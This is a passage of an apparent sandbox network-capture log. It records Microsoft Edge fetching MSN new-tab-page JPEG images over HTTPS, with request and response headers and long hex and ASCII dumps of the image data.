2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 89 9c af b9 a8 a7 a5 f3 2e 9a fb 0d 56 09 b8 ab 0b 98 80 82 a0 bb 74 b5 86 35 f1 f6 ac f1 dd 09 6e 80 0f f7 fe eb 70 4f ac 31 73 95 c2 e1 6f b9 f8 a4 92 49 e4 ba 98 a1 49 8c a1 6d d0 b6 db 6c 33 05 58 2f 69 da bc e3 f8 9c 37 43 41 f4 4a d9 e2 48 3a ac 7b 79 4f 12 dd 57 09 fc c4 ed 13 03 72 83 ca a0 14 11 97 b4 af 39 7b 8e 71 b8 d1 3e a9 5d 9f 88 11 32 6a 34 5a d3 9c 27 15 a3 6c 34 43 71 1e 8d e5 55 23 bc 01 98 1a 98 8e c5 83 c4 18 d5 40 db e5 d7 5e d8 c5 dd 69 8d d2 b7 11 9a 5c ae 97 02 2a 4c e8 dd b1 db d2 a1 77 10 62 a6 8c 69 02 33 5a 6b df ab 6c 01 fb a7 f4 5c ce 3a eb c0 0d 7b 43 4f ac 21 58 bb af de 0e 2e b7 07 70 bb 0b a0 12 d2 0c cc 50 65 b3 c5 5a bf c6 5d b8 dc 21 ce 21 c5 ed 13 b0 bc 18 e7 50 bc d7 05 74 49 06 26 20 4e b5 3a 0d b3 9a f4 8c e1 9a Data Ascii: .Vt5npO1soIIml3X/i7CAJH:{yOWr9{q>]2j4Z'l4CqU#@^i\*Lwbi3Zkl\:{CO!X.pPeZ]!!PtI& N:
2024-11-25 02:39:59 UTC	1980	IN	Data Raw: 96 4f 13 96 95 e5 52 af b6 5b a7 e7 5d 3b 44 eb 4d 39 20 97 61 d4 9a d0 69 d9 0b 90 78 87 6a 68 3c 64 c7 2a 24 7c e7 cd 1d ca 9a ef 85 ad 1d d0 96 ed 0e 0a ff 00 a4 00 fd f6 fe 89 7c 1d f9 f5 7c 7c c6 7d 65 7a 11 84 6c ec fa ac 97 b4 6c 5a b9 e4 e5 a2 1c 31 c1 bf ee cf ff 00 51 bf 52 b3 f0 4f fe 19 dd e6 37 ea bb 07 88 60 50 7c 58 8f 7f 62 b7 cd 74 e2 e2 be d7 94 e0 d7 5b 22 76 dc fa 02 96 11 86 70 82 34 a5 c9 3d 80 4a bf 72 ed a7 ba 5c c0 e2 34 38 4c a8 0f 10 d6 e8 de c1 1e c4 d7 1f 37 f7 62 71 85 30 d2 66 2c bb c4 94 06 5d 90 05 a0 d1 99 2e f6 47 d1 59 f3 9c fd 26 bb 4c 74 15 5a 6f bb 56 b5 a7 2d 5d d0 3d a9 ab b9 2a 13 1b 43 57 dc 0d db a7 b5 46 47 0e 28 03 de 6b 5e ef e8 a2 b9 e6 01 50 1c 77 86 8e d3 2a b1 b9 74 7f 0d 83 28 2e 77 40 01 58 b9 eb da 52 Data Ascii: OR[];DM9 aixjh<d$\|\|\|\|}ezllZ1QRO7`P\|Xbt["vp4=Jr\48L7bq0f,].GY&LtZoV-]=CWFG(k^Pw*t(.w@XR
2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 4a 5b a9 f1 01 c3 50 72 8d 9b 96 b1 34 ec 07 92 e3 79 17 27 ba eb 67 f7 a3 a5 64 b2 fd bd 58 7c 2b d0 ae 8c 7a 65 05 bb 78 87 3d df 53 b1 4b 33 53 1e fa ca f3 e6 eb 9b ab 5d a4 d4 14 c7 13 0a 7b 73 d1 6d e8 21 a6 27 4e 5a ef e5 54 88 60 db ef 9a e3 8e 21 a7 35 2b 6e 4d 31 53 9a cf b7 30 5b a3 de 13 cb 66 70 b1 de ec f7 95 10 ba dc c8 8e c9 ec 52 48 3a 57 b3 45 9a 52 11 b6 0e d1 9e e5 bc 51 4e 9e 85 09 6b 8e 91 49 df ce 25 60 b5 cc 00 c1 3e c4 a8 91 61 d7 41 a1 cb 7a 0d c6 9f 7d 55 5c 7b 67 b3 df 55 b0 eb 44 e9 14 ec 57 4d 6f 13 48 1c cc 66 36 e5 bd 01 83 6f 87 b5 46 30 cc 87 50 f6 f8 e6 16 1c 09 3a f2 1f 4f 62 78 89 f0 b7 53 ae c4 7a ba d7 64 6c 55 bb e3 4a e4 56 3c e7 8a 7f 65 ad 32 2e 02 ec 8b 4c e7 3d 4b 5e 19 78 8e b5 4b 11 8a 81 03 97 64 23 16 71 2a Data Ascii: J[Pr4y'gdX\|+zex=SK3S]{sm!'NZT`!5+nM1S0[fpRH:WERQNkI%`>aAz}U\{gUDWMoHf6oF0P:ObxSzdlUJV<e2.L=K^xKd#q*
2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 13 86 72 ab 8f 5a 94 59 7c fa 46 77 ac fc 33 b5 24 d3 61 1d 6b 37 fd 4b 4c 79 4c 89 0d b6 3c 11 e5 b4 7d d1 b8 6d 52 7c 39 06 9d a4 c0 cb 42 b3 83 49 2d cf 42 97 cd 69 ac 1b 6e 0a 67 08 86 bb d3 74 6e 15 dc a3 87 64 01 9d 2b 9f 34 c5 a7 98 9f 4a 7c 0e ca f4 ab e2 37 f8 62 64 bf b5 61 cf b6 2a 03 8f 6a 3c 83 4e f4 4d 0e 9f 54 fc 98 ae 21 9d 29 d3 29 15 bc a4 45 d6 e2 ad 3b d6 26 d1 1f cb 98 d3 df 35 30 60 93 b0 73 18 b2 3e f9 a3 cb 15 20 d4 6e d1 6b 87 33 8a 29 b6 2b e5 c4 88 f7 0b 05 cc 74 82 cd 9d 0b 78 5b 14 2e cf bd 1e ae 9a 02 b2 6d b1 d5 1b 39 e7 d0 b5 c3 9a 20 c4 c3 e8 44 54 46 a5 62 6d 9a e1 39 cd 3c 63 c1 5a 2d b0 75 3a ec 04 09 d9 4d 79 a5 e5 b5 cd ee bc 30 d3 5a 81 ef da b5 71 cc a5 62 5b ae be f9 2c 62 69 14 91 e1 b4 e8 ad 79 2d 02 43 e6 b5 d8 Data Ascii: rZY\|Fw3$ak7KLyL<}mR\|9BI-Bingtnd+4J\|7bda*j<NMT!))E;&50`s> nk3)+tx[.m9 DTFbm9<cZ-u:My0Zqb[,biy-C
2024-11-25 02:39:59 UTC	7952	IN	Data Raw: 10 46 10 60 f6 69 d9 9a 89 d7 3d 58 70 ca bb 13 45 96 b0 78 9c 36 8c 98 a8 f7 f0 45 8b 8d 69 3e 61 06 22 9b 7f b9 5c 6e 31 ec 36 da e9 99 1b 36 99 c9 43 6d 85 d7 58 e3 8a 0b 43 9d 5a 6e ec 92 bd 5e dc 69 bd 97 6c 5b d4 be e1 c5 e5 b7 43 19 69 fa 2e 65 e0 f6 4b dd b0 b7 79 cb c1 5a c7 6e db 66 6b 4a ef 51 7c 4c 89 b9 1d ea b5 bf 96 62 7c 35 5c 71 89 8d 91 c1 a5 92 1f 66 dc 6a 60 0a 66 ac 07 b8 34 8d 31 4d 3d aa 83 6f b8 dc c2 01 76 b0 7c 27 ea 8f 31 f2 5f 84 99 6c 37 90 23 67 5c a9 38 ef a6 96 cd d7 39 a4 8a 89 81 ce 73 8d f9 2a ad bc e6 e3 17 08 d8 08 39 fe aa a0 f3 b0 9c 0d 33 6d a2 48 cc f2 52 8e 18 de 87 ba 5a 30 41 04 c1 99 a2 d6 9c 63 6d 7e e8 d8 69 37 5b 85 dd d0 1b e2 1a 63 eb 45 7c 96 5a 70 b9 a1 0d 80 39 1e 55 47 c3 61 21 a1 d0 d8 d7 c0 0a 78 ad Data Ascii: F`i=XpEx6Ei>a"\n166CmXCZn^il[Ci.eKyZnfkJQ\|Lb\|5\qfj`f41M=ov\|'1_l7#g\89s*93mHRZ0Acm~i7[cE\|Zp9UGa!x
2024-11-25 02:39:59 UTC	6096	IN	Data Raw: 8c 30 d7 61 ef 50 96 e6 29 e8 f6 90 a2 c6 04 81 15 30 39 c0 a8 f1 01 66 dd e0 1c e7 ec 2f 70 11 93 b0 e5 db d8 b7 3c 5c e2 78 ba 20 01 ab 62 20 ef 5a b8 c7 38 b6 1d 85 a0 cb 84 6b 43 d2 aa 8b 8e 7e 16 b8 6a 26 99 57 da 15 13 78 f9 9e 50 26 5b 04 93 a1 3b 17 2d 33 3e 0e 96 b3 76 e1 b3 59 9a 9f 0a 40 a2 f3 f8 9c 4d b6 b8 90 d7 b8 77 b6 90 67 a5 77 f0 f9 8e a9 ee fa a0 6d 24 d4 f8 2d ba dd 97 06 b5 d5 f2 c7 69 d3 b5 75 8c a3 1d b1 7d cc 4c 5a 97 93 75 e2 a4 c1 33 a6 a4 56 7a 95 9c 45 86 e1 91 18 80 07 5c b5 ed 2a f3 6f 07 0c 3f 7b 40 ab 06 9c 38 35 ae 23 3f 5d eb 95 cc ed 83 4e c1 e5 1b 40 99 92 e1 b7 d5 90 07 52 cf 90 d3 6d b0 e9 d3 a6 68 79 2d 8b 6e 76 2c 6e 22 64 46 ed 08 52 5b 61 b2 18 0e 42 32 d9 f5 56 eb ab a1 36 cd a7 06 cc ba 20 49 3a 18 59 16 86 b1 Data Ascii: 0aP)09f/p<\x b Z8kC~j&WxP&[;-3>vY@Mwgwm$-iu}LZu3VzE\*o?{@85#?]N@Rmhy-nv,n"dFR[aB2V6 I:Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49834	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:58 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:59 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 13:47:16 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: ff79e93a-9960-4b77-a778-af0a49b23005 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQA X-Source-Length: 67183 Content-Length: 67183 Cache-Control: public, max-age=256510 Expires: Thu, 28 Nov 2024 01:55:08 GMT Date: Mon, 25 Nov 2024 02:39:58 GMT Connection: close
2024-11-25 02:39:59 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 02:39:59 UTC	16384	IN	Data Raw: d3 5f 5b a3 b9 4e 4b 44 b6 25 ed b9 ea c3 8b fa b2 eb f0 8a 5d d8 7f 89 9f 01 1f a8 f1 90 dd 5e a7 3b bf cc f5 69 fd 77 8c 86 f7 19 ad 71 f7 58 e3 38 65 d6 32 eb 19 c4 76 fb b8 f1 dc 5f 2b 81 ab cc d3 f9 9d 2b 8e ab ff 00 e9 f1 1d 91 f7 9f 25 0f f8 89 f2 e8 df f6 65 ef 47 a3 1f f8 83 87 7d 68 54 8f 32 7e d3 8c e1 97 fe 5d 63 3c 7b 7b 6f 8e ad ff 00 e9 f1 1f e5 f7 87 df 78 9c b8 2a dc f2 82 f6 9c b1 fa cf 05 2f ee 5b bd 35 ec 3b a3 f5 0e 16 5b ab 43 fa 91 ce a7 ff 00 3f 9b 77 1d b9 5f 17 c7 be af 05 db 51 18 f9 df 56 93 c3 87 a3 1e f9 7f f9 1e da e2 29 cb 74 a2 fb 9a 35 f3 23 a4 5f a4 2f f2 f0 94 be ae f9 3c 3a e7 7e f3 b6 9a e3 ef eb fb bd b5 39 df e4 7a 3b 6b 49 5b 68 97 e9 05 2a d2 d2 3b 3d 24 6d 0f 68 c2 aa c3 b1 37 0b 90 55 86 4d ca b8 0c 04 30 18 c9 Data Ascii: _[NKD%]^;iwqX8e2v_++%eG}hT2~]c<{{ox/[5;[C?w_QV)t5#_/<:~9z;kI[h;=$mh7UM0
2024-11-25 02:39:59 UTC	2358	IN	Data Raw: 9c b7 b6 cc ca 6c cc ac 90 00 82 19 23 00 a0 43 11 00 00 05 00 08 40 30 10 ca c8 10 ee 22 d0 60 20 2a 18 80 45 4b 50 12 32 80 04 74 c6 94 e6 d5 90 1c e0 7b 74 f8 29 3c 5e af 8e 8d 27 ad 0e 16 9c 15 f7 ee df d3 e4 73 9c e1 bd 66 5f 2f 1a 53 96 47 a7 0e 06 4d bd ae 4d ae bf 1f 99 f4 f0 82 4d d9 62 96 36 cb bb 28 fc cc d6 29 46 1b 32 57 eb 3f cb 8f 8a 5f 69 eb 39 4e 73 2e b1 84 38 69 f0 74 e2 d5 f1 ba 78 e4 b4 24 b7 b6 f2 6f 2c 4f 42 9d 28 a5 18 da db 56 95 45 9b b6 4d f2 62 81 cf cc bf 96 fd 2a fb 55 e5 9e 1c 9b e5 95 fb 05 1f 54 56 cf a6 92 b4 a7 52 78 39 db 3c 79 37 ed ee 39 4c cb a4 44 43 aa 36 bc f3 7b 4e 4a 3b ba db 95 fa 59 09 3b 6c df 7a 84 dd 92 e5 4b d2 9b 5a 37 da e6 49 ed 47 6a 2f 62 9a 77 95 49 61 29 e3 8b 57 dd 7d 2f 17 90 ef 75 b5 1f d3 86 e7 Data Ascii: l#C@0"` EKP2t{t)<^'sf_/SGMMMb6()F2W?_i9Ns.8itx$o,OB(VEMbUTVRx9<y79LDC6{NJ;Y;lzKZ7IGj/bwIa)W}/u
2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 46 92 5e b8 e0 9c e2 ad 15 94 13 f7 91 9c 94 5f a9 f5 ea 3c b5 2d 7a 16 45 02 7b 55 27 15 8e ce 12 96 57 b5 ed 7d 5a 37 20 be d5 da 76 8a c3 6b 4e a8 ea 1e ca d9 d8 58 41 6f c7 17 de f4 3c f3 65 66 be 1f 82 cb bd 90 43 c7 0b 59 78 3d b2 f7 0f 7b be 6b 3c 92 d5 ef 04 e2 e3 39 2e ac 2f 7e f5 be da 5e b0 83 52 8e db c2 36 ba bf cf 58 07 cb e3 2f c0 33 d2 f4 2d cb bd 82 bb bb dc de 9d fb 3a 5f 84 4d ab 39 3c 21 c9 59 c9 fb 6f 92 03 f0 90 15 c0 f6 9e 61 80 80 06 32 40 81 80 8a 28 92 80 08 18 08 44 43 28 43 34 10 00 c2 90 c6 20 86 31 01 14 c0 00 a0 24 60 19 05 08 02 98 08 61 00 80 00 63 01 80 80 62 0a 63 18 c0 45 00 04 21 81 40 2b 16 20 00 0d e1 6d 25 00 25 61 88 41 14 21 08 8a 40 00 4b 00 c4 22 34 77 10 86 40 87 71 5c 90 00 10 80 00 40 03 10 00 00 5c 42 2a 59 Data Ascii: F^_<-zE{U'W}Z7 vkNXAo<efCYx={k<9./~^R6X/3-:_M9<!Yoa2@(DC(C4 1$`acbcE!@+ m%%aA!@K"4w@q\@\B*Y
2024-11-25 02:39:59 UTC	16192	IN	Data Raw: a5 4e 32 77 95 a5 36 b4 47 75 97 6d 88 34 fc b6 a7 3f 55 59 e1 15 fe 15 a9 66 c1 7e 8b 72 7e ba b5 3d 9b 96 a8 a2 14 b7 d5 92 bc 9e 10 8e 69 68 e7 de c7 7f 25 6d 4a d2 ab 3c 12 f6 6a 8a cd 91 52 d3 a3 4e 51 4f 6a ad 5b e3 ad e1 7c 37 46 2b 70 e4 9c 29 d3 a1 17 79 bb 2d ad 09 75 a5 ab f1 05 6a 11 da 9f aa a4 b0 d6 f4 28 ea e8 c2 17 a1 79 cb d5 56 6f 72 f9 2d 4b 32 8d 95 9d 92 fc b8 7f 9a 5e d0 57 72 db 6a ed 75 63 92 ef d6 73 45 79 11 d9 5e aa 95 1b 69 64 af f2 8c 4b 9b f2 20 a9 c3 d5 52 a5 f1 d7 9c 9f 70 1b 53 5b 5c 4c a4 f1 4a 29 5f c2 f3 8a f9 98 f0 df a9 56 bd 67 bd 4a 54 e3 fb 30 f7 bb 84 df dd a8 28 47 19 c9 6c c6 fb dc 9e 6f e6 c2 cf 86 e1 d5 38 63 52 4b 65 6b 6f 7c 9f cd 80 f8 59 79 b1 9d 48 e1 2a 8d ed 3f 0d b0 b7 37 cc ba 6d 4e 2e 30 c2 09 b4 df Data Ascii: N2w6Gum4?UYf~r~=ih%mJ<jRNQOj[\|7F+p)y-uj(yVor-K2^WrjucsEy^idK RpS[\LJ)_VgJT0(Glo8cRKeko\|YyH*?7mN.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49836	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:58 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:59 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=119181 Expires: Tue, 26 Nov 2024 11:46:20 GMT Date: Mon, 25 Nov 2024 02:39:59 GMT Connection: close
2024-11-25 02:39:59 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-25 02:39:59 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-25 02:39:59 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-25 02:39:59 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
